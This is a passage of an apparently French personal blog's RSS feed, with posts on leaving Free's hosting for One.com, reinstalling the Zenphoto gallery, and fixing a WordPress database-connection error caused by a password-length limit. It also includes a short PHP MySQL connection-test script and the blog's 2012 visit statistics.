service.&lt;/p&gt;&#xA;&lt;p&gt;Elles ont toutes été migrées sur Youtube par Google à l&amp;rsquo;époque, j&amp;rsquo;ai simplement oublié de mettre à jour les liens. Heureusement, cela ne concerne que peu d&amp;rsquo;articles, qui sont désormais à jour.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Le retour de Zenphoto</title>
            <link>https://pled.fr/le-retour-de-zenphoto/</link>
            <pubDate>Thu, 11 Dec 2014 17:12:57 +0000</pubDate>
            <guid>https://pled.fr/le-retour-de-zenphoto/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;nouveau logo zenphoto&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;zenphoto-logo-new.png#floatleft&#34;&gt; Contrairement à ce que j&amp;rsquo;annonçais dans un précédent article, j&amp;rsquo;ai fini par installer Zenphoto chez mon nouvel hébergeur, et importer tous les albums que j&amp;rsquo;avais sur Free.&lt;/p&gt;&#xA;&lt;p&gt;Ça s&amp;rsquo;est globalement bien passé (je m&amp;rsquo;attendais à pire), et finalement, je suis bien content de retrouver tous mes albums comme ça. Coïncidence, on peut voir sur le logo que Zenphoto a le même âge que mon blog, nous avons démarré tous les deux en 2005. Raison de plus pour garder cette excellente galerie photo !&lt;/p&gt;&#xA;&lt;p&gt;La première raison qui m&amp;rsquo;a poussé à revoir ma position, c&amp;rsquo;est l&amp;rsquo;absence de sauvegarde possible avec la galerie photo que fournit mon hébergeur One.com. J&amp;rsquo;étais prêt à importer tous les albums manuellement, y compris les légendes des photos ; ça représentait un gros travail, mais je l&amp;rsquo;aurai fait. Et puis je me suis posé la bonne question : que se passe-t-il si dans un an je décide de changer d&amp;rsquo;hébergeur ?&lt;/p&gt;&#xA;&lt;p&gt;La galerie photo de One.com ou plutôt l&amp;rsquo;interface par laquelle on peut la gérer est tout de même assez basique. Créer des albums, mettre une légende aux photos, inviter des amis, autoriser les commentaires, partager les albums. Voilà, grosso-modo, on a fait le tour. Rien à voir avec le nombre incroyable d&amp;rsquo;options et de paramètres que propose Zenphoto !&lt;/p&gt;&#xA;&lt;p&gt;Aucune possibilité d&amp;rsquo;aller bidouiller le thème, modifier des fichiers php pour faire afficher ce que l&amp;rsquo;on veut, comme j&amp;rsquo;aime faire :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Le bas de page de l’album photo&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3755px&#34; data-flex-grow=&#34;1564&#34; height=&#34;34&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/le-retour-de-zenphoto/footer.png&#34; width=&#34;532&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mais le plus important : aucun moyen de sauvegarde, d&amp;rsquo;import ou d&amp;rsquo;export ! Gros problème : votre galerie n&amp;rsquo;existe que le temps que vous êtes chez One.com&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Bref, j&amp;rsquo;ai installé la dernière version de Zenphoto (1.4.6), puis j&amp;rsquo;ai importé deux tables de l&amp;rsquo;installation précédente (j&amp;rsquo;étais en v1.4) : albums et comments. À ce stade, le fonctionnement était un peu bizarre : je pouvais tout voir dans le panneau d&amp;rsquo;administration, je pouvais également visualliser les photos d&amp;rsquo;un album, mais impossible d&amp;rsquo;afficher les vignettes (albums ou images d&amp;rsquo;ailleurs)&amp;hellip; Après de multiples essais, j&amp;rsquo;ai fini par relancer l&amp;rsquo;installation, qui m&amp;rsquo;a tout remis en ordre.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai même pu autoriser les commentaires à nouveau (mais avec captcha), chose que j&amp;rsquo;avais du dévalider chez Free suite au grand nombre de spams reçus.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Changement d&#39;album photo</title>
            <link>https://pled.fr/changement-dalbum-photo/</link>
            <pubDate>Fri, 05 Dec 2014 17:12:47 +0000</pubDate>
            <guid>https://pled.fr/changement-dalbum-photo/</guid>
            <description>&lt;p&gt;Info&lt;/p&gt;&#xA;&lt;p&gt;Changement de programme, c&amp;rsquo;est le cas de le dire ! Après mûre réflexion, j&amp;rsquo;ai fini par réinstaller Zenphoto. La nouvelle galerie décrite ci-dessous reste en l&amp;rsquo;état pour l&amp;rsquo;instant (j&amp;rsquo;avais déjà migré 6 albums), on verra par la suite, je lui trouverai peut-être un usage.&lt;/p&gt;&#xA;&lt;p&gt;Voir &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8101&#34;  title=&#34;Le retour de zenphoto&#34;&#xA;    &gt;cet article&lt;/a&gt; pour plus d&amp;rsquo;infos.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://gallery.pled.fr&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;Lien vers le nouvel album photo&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/changement-dalbum-photo/gallery.png&#34; width=&#34;200&#34;&gt;&lt;/a&gt; Suite au changement d&amp;rsquo;hébergeur, j&amp;rsquo;en profite pour changer de galerie photo, adieu donc Zenphoto.&lt;/p&gt;&#xA;&lt;p&gt;D&amp;rsquo;une part je n&amp;rsquo;ai pas que des bons souvenirs des mises à jours de Zenphoto (en plus chez Free, c&amp;rsquo;était vraiment tordu), et puis c&amp;rsquo;est devenu plus qu&amp;rsquo;un simple album photo (un véritable CMS), et je n&amp;rsquo;ai pas besoin de toutes ces fonctionnalités, puisque le blog utilise Wordpress.&lt;/p&gt;&#xA;&lt;p&gt;Comme One.com propose un album photo, autant utiliser le leur, qui semble tout à fait correct. Par contre, ce sera certainement moins paramétrable que Zenphoto : je ne peux pas faire de sous-albums (mais je peux faire plusieurs galeries&amp;hellip;). Mais il accepte les légendes, les commentaires (avec captcha), les vidéos. Cela devrait suffire.&lt;/p&gt;&#xA;&lt;p&gt;Même si je fais moins de photos depuis quelque temps (et encore moins de nouveaux albums), j&amp;rsquo;ai tout de même envie de retrouver mes albums, notamment ceux de la rubrique &amp;ldquo;Tourisme&amp;rdquo;, comme par exemple mon voyage en Asie&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Je vais voir ça tranquillement, il va falloir recréer tous les albums, y compris les légendes des photos auxquelles je tiens particulièrement, car cela donne un contexte de l&amp;rsquo;instant, dont on ne se souvient pas toujours quelques années après. Bref, cela va  prendre du temps&amp;hellip; J&amp;rsquo;en ai refait 2 aujourd&amp;rsquo;hui !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Bienvenue sur le nouveau blog !</title>
            <link>https://pled.fr/bonjour-tout-le-monde/</link>
            <pubDate>Sat, 15 Nov 2014 11:13:47 +0000</pubDate>
            <guid>https://pled.fr/bonjour-tout-le-monde/</guid>
            <description>&lt;p&gt;Il y a deux semaines, Free a brusquement bloqué mon compte, et accessoirement détruit la base de données du blog. Ceci sans aucun message pour me prévenir, ce qui me parait pourtant la moindre des choses (pour rappel, le blog fonctionnait depuis 2005 sans problème).&lt;/p&gt;&#xA;&lt;p&gt;Le site ne marchait tout simplement plus (erreur 403 dans mon cas). L&amp;rsquo;accès ftp était également bloqué : à vous de deviner ce qui se passe&amp;hellip; &lt;strong&gt;cool, hein, le service Free ?&lt;/strong&gt;:-(&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc décidé d&amp;rsquo;abandonner les pages perso free :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Le blog était déjà pas mal limité par le manque de mémoire alloué par Free, j&amp;rsquo;en ai déjà parlé &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=4240&#34;  title=&#34;Modification du thème&#34;&#xA;    &gt;ici&lt;/a&gt; sur le blog.&lt;/li&gt;&#xA;&lt;li&gt;En 2012, c&amp;rsquo;était l&amp;rsquo;accès à Akismet, le service de protection contre les spams intégré à Wordpress, qui était supprimé, toujours sans aucune explication  (une des caractéristiques récurrentes des services Free).&lt;/li&gt;&#xA;&lt;li&gt;Restait alors la solution des plugins pour se protéger, mais là aussi, les ressources allouées par Free empêche d&amp;rsquo;utiliser les meilleurs (pas assez de mémoire).&lt;/li&gt;&#xA;&lt;li&gt;Et la semaine dernière, Free me bloque mon compte et détruit la base SQL du blog arbitrairement, sans explication.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;ici-on-atteint-les-sommets--free-dune-part-nous-empêche-davoir-une-protection-efficace-contre-les-spams-mais-se-comporte-en-véritable-despote-lorsque-vous-subissez-un-attaque-malgré-toute-votre-bonne-volonté-bref-ras-le-bol&#34;&gt;Ici, on atteint les sommets : Free d&amp;rsquo;une part, nous empêche d&amp;rsquo;avoir une protection efficace contre les spams, mais se comporte en véritable despote lorsque vous subissez un attaque, malgré toute votre bonne volonté. Bref ras le bol&amp;hellip;&#xA;&lt;/h4&gt;&lt;h3 id=&#34;onecom&#34;&gt;One.com&#xA;&lt;/h3&gt;&lt;p&gt;J&amp;rsquo;ai donc créé un compte chez &lt;a class=&#34;link&#34; href=&#34;http://www.one.com&#34;  title=&#34;One.com&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;One.com&lt;/a&gt; , un hébergeur payant, mais accessible et fournissant à priori un service de très bonne qualité. J&amp;rsquo;ai dans la foulée créé mon propre domaine, et j&amp;rsquo;ai choisi &lt;strong&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.pled.fr&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;www.pled.fr&lt;/a&gt;&lt;/strong&gt;, là où vous êtes actuellement. C&amp;rsquo;est la nouvelle adresse du blog.&lt;/p&gt;&#xA;&lt;p&gt;La première année étant offerte, je n&amp;rsquo;ai payé que le nom de domaine pour cette première année, soit 14,40 €. L&amp;rsquo;année prochaine, cela devrait me coûter environ 50€ à l&amp;rsquo;année.&lt;/p&gt;&#xA;&lt;h3 id=&#34;migration&#34;&gt;Migration&#xA;&lt;/h3&gt;&lt;p&gt;La migration du blog en lui-même ne s&amp;rsquo;est pas trop mal passée : installation en un click de la version 4.0, enfin ! (j&amp;rsquo;étais bloqué à la 3.2.1 avec Free à cause du manque de ressources). Les articles et les commentaires ont été importés sans problème sur le nouveau, à ceci près que j&amp;rsquo;ai perdu les catégories des articles. J&amp;rsquo;ai donc environ 800 articles à modifier manuellement, ça va me prendre un peu de temps.&lt;/p&gt;&#xA;&lt;p&gt;Il va falloir aussi revoir certains plugins&amp;hellip; et certainement plein de petits autres trucs. Mais bon, dans l&amp;rsquo;ensemble, c&amp;rsquo;est plutôt pas mal, et le blog est déjà opérationnel.&lt;/p&gt;&#xA;&lt;p&gt;Le bon côté, c&amp;rsquo;est que je suis maintenant en v4.0, que je ne suis plus bloqué par le manque de ressources par Free. Ça donne envie de refaire des choses là où la situation était bloquée.&lt;/p&gt;&#xA;&lt;p&gt;Le vrai problème, ce sera la galerie Zenphoto : pas sûr que je puisse réinstaller tout ça à l&amp;rsquo;indentique sans galérer&amp;hellip; pas sûr que j&amp;rsquo;en ai vraiment envie d&amp;rsquo;ailleurs, la mode des photos m&amp;rsquo;a un peu passée. Mais il y a un bel historique, ne serait-ce que pour les amis&amp;hellip; À voir après le blog.&lt;/p&gt;&#xA;&lt;h3 id=&#34;pour-la-petite-histoire&#34;&gt;Pour la petite histoire&#xA;&lt;/h3&gt;&lt;p&gt;Une fois compris ce qui se passait (ce n&amp;rsquo;est pas évident), il faut se rendre sur l&amp;rsquo;interface de gestion de free, et cliquer sur &amp;ldquo;Ré-activer votre compte pour les pages personnelles (si celui-ci a été suspendu)&amp;rdquo;.&#xA;Dans mon cas, le message était le suivant :&lt;/p&gt;&#xA;&lt;p&gt;Base mysql polluée par du spam. Nous avons vidé les tables mysql concernées. Mettre en place des mesures de protection contre le spam.&#xA;Ce bloquage consitue un avertissement. Afin de retrouver l&amp;rsquo;accès à votre page personnelle, vous devez vous engager à corriger les points cités ci- dessus au plus vite.&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est parti, il faut aller demander le déblocage du compte sur le news group proxad.free.servies.pagesperso&amp;hellip; puis attendre, des bénévoles répondent, et transmettent les consignes et procédures. Il faut indiquer les actions que l&amp;rsquo;on va prendre pour que cela ne se reproduise plus. La demande officielle est finalement faite.&lt;/p&gt;&#xA;&lt;p&gt;Hélas, le temps que tout cela se passe, il est déjà vendredi soir ! Pas de chance Pascal !&lt;/p&gt;&#xA;&lt;p&gt;La personne qui &amp;ldquo;débloque les comptes&amp;rdquo; ne travaillant pas le week-end, et ayant potentiellemnt pris un RTT le lundi&amp;hellip; ce n&amp;rsquo;est qu&amp;rsquo;aujourd&amp;rsquo;hui mardi que mon compte a enfin été débloqué.&lt;/p&gt;&#xA;&lt;h3 id=&#34;pour-conclure&#34;&gt;Pour conclure&#xA;&lt;/h3&gt;&lt;p&gt;OK, ce service est gratuit. J&amp;rsquo;imagine également que les moyens pour maintenir ce service sont extrêmement limités. Mais ce serait peut-être mieux de carrément le fermer, si Free n&amp;rsquo;est pas en mesure de traiter ses &lt;strong&gt;clients&lt;/strong&gt; correctement. Je me vois mal effacer la base de données d&amp;rsquo;un &lt;strong&gt;client&lt;/strong&gt; pour des problèmes de sécurité réseau dont je suis responsable, mais incapable d&amp;rsquo;assumer, et ne pas prendre la peine de le prévenir qu&amp;rsquo;un problème a eu lieu.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blog indisponible : &#34;Error establishing a database connection&#34;</title>
            <link>https://pled.fr/blog-indisponible-error-establishing-a-database-connection/</link>
            <pubDate>Fri, 16 May 2014 17:57:03 +0000</pubDate>
            <guid>https://pled.fr/blog-indisponible-error-establishing-a-database-connection/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;message d’erreur wordpress&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;error.png#floatleft&#34;&gt; Depuis quelques jours, le blog était inaccessible avec ce beau message d&amp;rsquo;erreur. J&amp;rsquo;ai d&amp;rsquo;abord cru à un problème temporaire chez Free, et je ne me suis pas trop inquiété.&lt;/p&gt;&#xA;&lt;p&gt;Le problème persistant, je me suis rappelé que j&amp;rsquo;avais changé mes mots de passe pour accéder aux pages Free d&amp;rsquo;administration de mon compte. Et que j&amp;rsquo;avais oublié de mettre à jour le fichier &lt;strong&gt;wp-config.php&lt;/strong&gt;. Je modifie en conséquence ce dernier, mais le problème persiste. La prise de tête commence.&lt;/p&gt;&#xA;&lt;p&gt;Je retourne donc sur ma page d&amp;rsquo;admin Free, et remarque ces deux options :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;personnaliser les mots de passe&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1418px&#34; data-flex-grow=&#34;591&#34; height=&#34;56&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/blog-indisponible-error-establishing-a-database-connection/personnaliser.png&#34; width=&#34;331&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Il est recommandé d&amp;rsquo;utiliser ces options, cela améliore la sécurité, bonne occasion de faire ce que j&amp;rsquo;avais négligé ! Aussitôt dit, aussitôt fait&amp;hellip; enfin presque puisque si c&amp;rsquo;est immédiat pour le compte FTP (transfert de fichiers), il faut attendre 4 heures pour la base SQL (accès base de données du blog). Mais surtout je remarque que le mot de passe SQL que j&amp;rsquo;ai choisi n&amp;rsquo;est pas accepté, il contient des caractères spéciaux (comme tout bon mot de passe !).&lt;/p&gt;&#xA;&lt;p&gt;Ah, me dis-je, voilà, le problème va être réglé facilement&amp;hellip; Je raccourcis donc mon mot de passe en supprimant ces fameux caractères&amp;hellip; et ça passe. Cool, reste à mettre à jour le fichier wp-config.php en conséquence, attendre 4 heures, et le tour est joué ! Sur ce, je vais me coucher&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Le lendemain, je teste du boulot : toujours pareil, même message d&amp;rsquo;erreur sur le blog. La prise de tête continue.&lt;/p&gt;&#xA;&lt;p&gt;Retour à la maison le soir, et début des recherches. Je poste à tout hasard mon problème sur le newsgroup &lt;strong&gt;proxad.free.services.pagesperso&lt;/strong&gt;, et j&amp;rsquo;ai rapidement une réponse me renvoyant vers un &lt;a class=&#34;link&#34; href=&#34;http://les.pages.perso.chez.free.fr/index.php/go/1k&#34;  title=&#34;Faites passer le mot&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;document&lt;/a&gt; précisant la politique de mots de passe appliqués par Free.&lt;/p&gt;&#xA;&lt;p&gt;La politique est la suivante :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;16 caractères ASCII pour le compte/email&lt;/li&gt;&#xA;&lt;li&gt;16 caractères ASCII pour l&amp;rsquo;accès FTP&lt;/li&gt;&#xA;&lt;li&gt;10 caractères ASCII pour l&amp;rsquo;accès SQL (16 caractères lorsque la version de php passera à 5.3.x).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;La remarque au passage à PHP 5.3 me fait bien rigoler, parce que l&amp;rsquo;évolution des pages perso Free me semble plutôt compromise&amp;hellip; si j&amp;rsquo;ai bien compris, peu de ressources sont allouées à ce service, et s&amp;rsquo;ils pouvaient s&amp;rsquo;en débarrasser&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Bref, mon mot de passe, délesté de ses caractères spéciaux, et accepté par l&amp;rsquo;interface (pour moi, c&amp;rsquo;est un bug), faisait 11 caractères !! Je recommençais toute l&amp;rsquo;opération avec un mot de passe de 9 caractères, modifiait mon wp-config.php, et 4 heures plus tard, le problème était réglé.&lt;/p&gt;&#xA;&lt;p&gt;Enfin, pendant les recherches, je suis tombé sur ce petit script qui peut se révéler utile (remplacer &amp;lsquo;username&amp;rsquo; et &amp;lsquo;password&amp;rsquo; par vos identifiants) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;?php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$link &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; mysql_connect&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;username&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;password&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;!$link&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;die&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Could not connect: &amp;#39;&lt;/span&gt; . mysql_error&lt;span style=&#34;color:#f92672&#34;&gt;())&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Connected successfully&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mysql_close&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;$link&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;À copier sur le site comme &lt;strong&gt;testconnexion.php&lt;/strong&gt; par exemple, puis à lancer la requête dans votre navigateur, le  message est un peu plus parlant :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2014/05/testconnexion.png&#34; &gt;&lt;img alt=&#34;message d’erreur&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;540px&#34; data-flex-grow=&#34;225&#34; height=&#34;200&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/blog-indisponible-error-establishing-a-database-connection/testconnexion-450.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog - année 2012</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2012/</link>
            <pubDate>Fri, 04 Jan 2013 11:37:30 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2012/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2013/01/stats1.png&#34; &gt;&lt;img alt=&#34;nombres de visites&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;529px&#34; data-flex-grow=&#34;220&#34; height=&#34;204&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2012/stats1-1.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt; Comme chaque début d&amp;rsquo;année, c&amp;rsquo;est le moment de regarder un peu les statistiques du blog.&lt;/p&gt;&#xA;&lt;p&gt;Le nombre de visites continue de monter : l&amp;rsquo;année dernière, on dépassait la barre des 6 000 visites plusieurs fois, cette année c&amp;rsquo;est la barre des 10 000 qui a été franchie deux fois.&lt;/p&gt;&#xA;&lt;p&gt;Je n&amp;rsquo;ai publié que 71 articles cette année, contre 101 l&amp;rsquo;année dernière (et 96 l&amp;rsquo;année précédente)&amp;hellip; En nette baisse donc. :-(&lt;/p&gt;&#xA;&lt;p&gt;Un premier plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  title=&#34;la page du plugin WP online counter&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt;, activé depuis le début du site ou presque (et affiché en bas de page), me donne un nombre total de visiteurs de &lt;strong&gt;688 476&lt;/strong&gt; à ce jour, contre &lt;strong&gt;482 703&lt;/strong&gt; il y a un an. La barre des 500 000 visites a donc été allègrement franchie&amp;hellip; la prochaine barre , c&amp;rsquo;est le million, mais ce ne sera pas sans doute pas pour cette année, gardons les pieds sur terre&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Vous trouverez un peu plus de statistiques ci-dessous.&lt;/p&gt;&#xA;&lt;h3 id=&#34;visites&#34;&gt;Visites&#xA;&lt;/h3&gt;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2013/01/stats2.png&#34; &gt;&lt;img alt=&#34;statistiques détaillées&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;503px&#34; data-flex-grow=&#34;209&#34; height=&#34;508&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2012/stats2.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2012/stats2_hu_ae9d3aa985978091.png 800w, https://pled.fr/statistiques-du-blog-annee-2012/stats2.png 1065w&#34; width=&#34;1065&#34;&gt;&lt;/a&gt; La progression est confirmée en comparant les années de 2009 à 2012 :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;31 694 en 2009&lt;/li&gt;&#xA;&lt;li&gt;45 260 en 2010&lt;/li&gt;&#xA;&lt;li&gt;70 283 en 2011&lt;/li&gt;&#xA;&lt;li&gt;107 008 en 2012&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Le nouveau record mensuel est de 11 397 visites en octobre 2012, à comparer avec les 6 738 visites en mars 2011, le précédent record.&lt;/p&gt;&#xA;&lt;h3 id=&#34;articles&#34;&gt;Articles&#xA;&lt;/h3&gt;&lt;p&gt;Il y a maintenant 813 articles sur le blog, et 875 commentaires. C&amp;rsquo;est la première fois que les commentaires dépassent le nombre d&amp;rsquo;articles : bon, l&amp;rsquo;article &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2829&#34;  title=&#34;Fracture du coude – 6 mois après&#34;&#xA;    &gt;Fracture du coude 6 mois après&lt;/a&gt; en totalise à lui seul 243 ! Une petit communauté de victimes d&amp;rsquo;une fracture du coude y raconte ses mésaventures, et à les lire, je me dis que je m&amp;rsquo;en suis plutôt bien tiré.&lt;/p&gt;&#xA;&lt;p&gt;Comme l’année dernière, voilà le « &lt;strong&gt;top 20&lt;/strong&gt;» des articles les plus consultés, avec les chiffres de 2010/2011 pour ceux qui étaient déjà présents :&#xA;Article201020112012&lt;a class=&#34;link&#34; href=&#34;./?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;3 44110 79724 213&lt;a class=&#34;link&#34; href=&#34;./?p=2829&#34; &gt;Fracture du coude - 6 mois après&lt;/a&gt;1 1013 96012 237&lt;a class=&#34;link&#34; href=&#34;./?p=310&#34; &gt;VTT Giant&lt;/a&gt;4 3646 7658 905&lt;a class=&#34;link&#34; href=&#34;./?p=45&#34; &gt;Le zona, c&amp;rsquo;est la zone&lt;/a&gt;2 9135 1608 505&lt;a class=&#34;link&#34; href=&#34;../?p=3933&#34; &gt;Convertir les fichiers TS de la Freebox (SD)&lt;/a&gt;2 0318 209&lt;a class=&#34;link&#34; href=&#34;./?p=738&#34; &gt;Les oursins n&amp;rsquo;aiment pas le Round-up&lt;/a&gt;1 0221 7146 697&lt;a class=&#34;link&#34; href=&#34;./?p=5440&#34; &gt;Ubuntu 12.04 – Installation et personnalisation&lt;/a&gt;6 440&lt;a class=&#34;link&#34; href=&#34;./?p=3946&#34; &gt;L&amp;rsquo;obsolescence programmée&lt;/a&gt;5 655&lt;a class=&#34;link&#34; href=&#34;./?p=849&#34; &gt;VirtualBox&lt;/a&gt;3 7964 8665 553&lt;a class=&#34;link&#34; href=&#34;./?p=6&#34; &gt;Les démons de Jésus&lt;/a&gt;2 3974 0034 923&lt;a class=&#34;link&#34; href=&#34;./?p=3010&#34; &gt;“Écoutez” France Culture… en mp3 (2)&lt;/a&gt;7332 2264 760&lt;a class=&#34;link&#34; href=&#34;./?p=366&#34; &gt;Le pays Gallo&lt;/a&gt;1 4832 5194 171&lt;a class=&#34;link&#34; href=&#34;./?p=218&#34; &gt;Wengo plutôt que Skype&lt;/a&gt;1 1202 8664 122&lt;a class=&#34;link&#34; href=&#34;./?p=4619&#34; &gt;Mise à jour Wordpress 3.2.1&lt;/a&gt;1 5943 638&lt;a class=&#34;link&#34; href=&#34;./?p=2273&#34; &gt;Sauvegarder ses données sous Ubuntu&lt;/a&gt;1 4352 6703 522&lt;a class=&#34;link&#34; href=&#34;./?p=3548&#34; &gt;Migration d&amp;rsquo;Evolution à Thunderbird&lt;/a&gt;1 8433 198&lt;a class=&#34;link&#34; href=&#34;./?p=239&#34; &gt;Photos endommagées ? Photorec est là&lt;/a&gt;3 073&lt;a class=&#34;link&#34; href=&#34;./?p=9&#34; &gt;Wordpress: installation en local&lt;/a&gt;1 6442 5863 029&lt;a class=&#34;link&#34; href=&#34;./?p=1870&#34; &gt;Tristes tropiques - Claude Lévi-Strauss&lt;/a&gt;1 0171 843 2 926&lt;a class=&#34;link&#34; href=&#34;./?p=195&#34; &gt;UBCD4Win&lt;/a&gt;1 7632 3482 595&#xA;Trois nouveaux articles font leur apparition :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;./?p=5440&#34; &gt;Ubuntu 12.04 – Installation et personnalisation&lt;/a&gt; : comme quoi Ubuntu continue d&amp;rsquo;intéresser ceux qui veulent passer à autre chose que Windows.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a 